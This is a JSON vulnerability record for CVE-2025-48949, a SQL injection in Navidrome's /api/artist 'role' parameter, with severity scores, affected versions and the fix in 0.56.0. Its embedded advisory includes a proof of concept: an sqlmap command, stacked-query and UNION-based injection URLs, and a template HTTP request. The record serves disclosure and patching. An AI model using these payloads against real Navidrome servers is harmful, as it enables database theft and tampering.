{"id":"CVE-2025-48949","aliases":["CVE-2025-48949","GHSA-5wgp-vjxm-3x2r","GO-2025-3734"],"related":[],"kind":"vulnerability","state":"published","title":"Navidrome allows SQL Injection via role parameter","summary":"Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.","source":"cvelist"},{"lang":"en","text":"## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2**\n\n### **Overview**\n\nThis vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.\n\n---\n\n### **Details**\n\n* **Vulnerable Component**:\n  API endpoint → `/api/artist`\n  Parameter → `role`\n\n* **Vulnerability Type**:\n  SQL Injection (stacked queries, UNION queries)\n\n* **Database Affected**:\n  SQLite (confirmed exploitation via SQLite-specific payloads)\n\n* **Impact**:\n  Successful exploitation allows an unauthenticated attacker to:\n\n  * Execute arbitrary SQL commands\n  * Extract or manipulate sensitive data (e.g., user records, playlists)\n  * Potentially escalate privileges or disrupt service availability\n\n---\n\n### **Proof of Concept (PoC)**\n\n**Example Exploit Command**:\n\n```bash\nsqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite\n```\n\n**Sample Payloads**:\n\n* **Stacked Queries**:\n\n  ```\n  http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--\n  ```\n\n* **UNION-Based Query**:\n\n  ```\n  http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny\n  ```\n\n**Example HTTP Request**:\n\n```http\nGET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2\nHost: <TARGET HOST>\nCookie: <REPLACE WITH VALID COOKIE>\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nX-Nd-Authorization: <REPLACE WITH AUTH TOKEN>\nX-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID>\n```\n\n---","format":"markdown","source":"ghsa"},{"lang":"en","text":"Navidrome allows SQL Injection via role parameter in github.com/navidrome/navidrome","format":"markdown","source":"go"},{"lang":"es","text":"Navidrome es un servidor y transmisor de música de código abierto basado en la web. Las versiones 0.55.0 a 0.55.2 presentan una vulnerabilidad debido a una validación de entrada incorrecta en el parámetro `role` dentro del endpoint de la API `/api/artist`. Los atacantes pueden explotar esta vulnerabilidad para inyectar consultas SQL arbitrarias, lo que podría obtener acceso no autorizado a la base de datos del backend y comprometer información confidencial del usuario. La versión 0.56.0 incluye un parche para solucionar este problema.","source":"nvd"}],"published":"2025-05-29T17:27:56.000Z","modified":"2026-06-17T09:30:32.253Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":8.9,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":8.9,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":">= 0.55.0, < 0.56.0","status":"affected"}],"vendor":"navidrome","product":"navidrome","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0.55.0","status":"affected","fixed":"0.56.0"}],"ecosystem":"Go","package":"github.com/navidrome/navidrome","purl":"pkg:golang/github.com/navidrome/navidrome","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.55.0","status":"affected","fixed":"0.56.0"}],"ecosystem":"Go","package":"github.com/navidrome/navidrome","purl":"pkg:golang/github.com/navidrome/navidrome","source":"go"},{"ranges":[{"status":"affected","introduced":"0.55.0","fixed":"0.56.0"}],"vendor":"navidrome","product":"navidrome","cpe":"cpe:2.3:a:navidrome:navidrome:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/navidrome/navidrome/security/advisories/GHSA-5wgp-vjxm-3x2r","tags":["advisory","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48949","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/navidrome/navidrome","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2025-05-30T20:45:23.042Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-48949","url":"https://www.cve.org/CVERecord?id=CVE-2025-48949","licence":"CVE Terms of Use","modified":"2025-05-30T20:45:32.298Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5wgp-vjxm-3x2r","url":"https://github.com/advisories/GHSA-5wgp-vjxm-3x2r","licence":"CC-BY-4.0","modified":"2025-06-03T18:56:52.529Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3734","url":"https://pkg.go.dev/vuln/GO-2025-3734","licence":"CC-BY-4.0","modified":"2026-03-03T04:57:19.386Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-48949","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48949","licence":"Public domain","modified":"2026-06-17T09:30:32.253Z"}],"updatedAt":"2026-11-25T22:58:58.610Z","epss":{"score":0.00513,"percentile":0.45212,"date":"2026-12-01T12:00:22.000Z"}}